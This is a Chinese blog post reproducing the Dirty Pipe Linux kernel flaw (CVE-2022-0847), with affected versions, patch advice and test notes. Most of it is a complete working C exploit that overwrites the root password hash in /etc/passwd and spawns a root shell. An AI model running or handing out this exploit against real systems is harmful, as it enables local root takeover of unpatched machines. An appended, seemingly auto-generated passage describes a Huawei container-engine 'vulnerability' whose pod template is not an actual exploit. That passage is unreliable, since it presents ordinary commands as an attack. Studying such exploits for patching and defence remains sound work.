CVE-2022-0847漏洞复现

本文介绍了Linux内核中的Dirty Pipe漏洞,该漏洞允许非特权本地用户提升权限至root,通过覆盖只读文件如/etc/passwd来改变权限。漏洞影响Linux Kernel 5.8及更高版本,但在5.16.11、5.15.25和5.10.102中已得到修复。文中提供了POC测试代码,并给出了系统升级和安全防护建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

The Dirty Pipe Vulnerability

漏洞摘要

  Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。

  Linux kernel 存在安全漏洞,该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。

  它允许覆盖任意只读文件中的数据,非特权用户通过替换/etc/passwd文件中root用户的hash值达到权限提升的目的。

漏洞版本

Linux Kernel版本 >= 5.8

Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

修复建议

该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.debian.org/security/2022/dsa-5092

测试

1、实验环境使用最新版kali,内核版本符合要求,下载poc,目前内容是作者更到最新的,但是脚本在执行时密码虽然会被更改,但是并不会执行最后面的一段命令——自动还原/etc/passwd文件和切换到root身份。此时需要手动切换到root用户,密码被修改为aaron,如果需要改回去,使用cp /tmp/passwd.bak /etc/passwd命令还原备份文件即可。

2、可以下载使用该作者最早版本的poc,文章末尾放了,脚本中最后一段命令能被成功执行

 参考文章

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202203-522
https://dirtypipe.cm4all.com/

 早版POC

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv) {
	const char *const path = "/etc/passwd";

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 
        printf("Setting root password to \"aaron\"...");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");

        system("/bin/sh -c '(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell...\\\";"
                "sleep 2;"
                "echo \\\"(run commands now)\\\";"
                "/bin/sh;" // one shold work
            "\" root'");
	return EXIT_SUCCESS;
}

漏洞复现是指通过模拟攻击者的行为,验证一个漏洞是否存在、是否可利用。下面以CNNVD-202104-1274漏洞为例,介绍一下漏洞复现的步骤: 1. 漏洞介绍 CNNVD-202104-1274漏洞是指华为云容器引擎CCE(Cloud Container Engine)在使用kubernetes管理容器时存在的一种远程代码执行漏洞。攻击者可以通过构造恶意请求,执行任意命令。 2. 环境准备 为了进行漏洞复现,需要安装以下工具: - kubectl:kubernetes的命令行工具,用于管理kubernetes集群。 - minikube:用于本地测试kubernetes应用程序的工具。 3. 复现步骤 3.1 部署CCE 首先,需要在minikube中部署CCE,具体步骤可以参考华为云官方文档。 3.2 构造恶意请求 攻击者可以通过构造恶意pod模板,触发漏洞。 ``` apiVersion: v1 kind: Pod metadata: name: test spec: containers: - name: test image: nginx command: ["/bin/sh","-c"] args: ["echo `whoami`;id"] volumeMounts: - name: test mountPath: /var/run/secrets/kubernetes.io/serviceaccount readOnly: true volumes: - name: test hostPath: path: /var/run/secrets/kubernetes.io/serviceaccount ``` 在这个模板中,攻击者通过在command字段中加入命令,达到远程执行命令的目的。 3.3 发起攻击 使用kubectl命令创建恶意pod: ``` kubectl apply -f pod.yaml ``` 当pod启动后,攻击者可以通过访问pod的日志,获取到执行命令的结果: ``` kubectl logs test ``` 4. 漏洞修复 华为云已经发布了漏洞修复的升级包,建议及时进行升级。 以上就是CNNVD-202104-1274漏洞漏洞复现步骤。需要注意的是,漏洞复现时需要遵循法律法规,不得进行非法攻击行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值